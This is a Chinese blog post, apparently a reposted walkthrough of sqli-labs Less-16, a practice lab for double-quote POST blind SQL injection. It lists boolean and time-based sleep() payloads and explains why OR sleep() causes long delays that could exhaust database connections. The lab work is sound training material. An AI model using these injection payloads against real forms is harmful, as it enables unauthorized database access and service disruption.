码迷,mamicode.com
首页 > 数据库 > 详细

【sqli-labs】 less16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

时间:2018-01-23 23:26:36      阅读:390      评论:0      收藏:0      [点我收藏+]

标签:free   ase   技术   构造   函数   font   技术分享   延时   长度   

1‘ or 1=1#              -->失败
1" or 1=1#              -->失败
1‘) or 1=1#             -->失败
1") or 1=1#             -->成功                            

技术分享图片

判断为双引号变形注入

利用sleep函数判断数据库名长度

1") or if(length(database())=7,1,sleep(5))#

延时确实出现了,但不是5s

在数据库中执行一下

技术分享图片+

技术分享图片

users表中有13条数据,where进行条件匹配时由于sleep(5)返回了1(true)所以寻找username=‘1’,即where后面的条件执行了13次,延时65s

 所以在注入的时候不要轻易使用or sleep()这样的注入

反之,如果构造大量这样的请求就会使得大量数据库连接被滥用,导致正常服务无法进行

参考http://www.freebuf.com/articles/web/101658.html

【sqli-labs】 less16 POST - Blind- Boolian/Time Based - Double quotes (基于bool型/时间延迟的双引号POST型盲注)

标签:free   ase   技术   构造   函数   font   技术分享   延时   长度   

原文地址:https://www.cnblogs.com/superkrissV/p/8338112.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!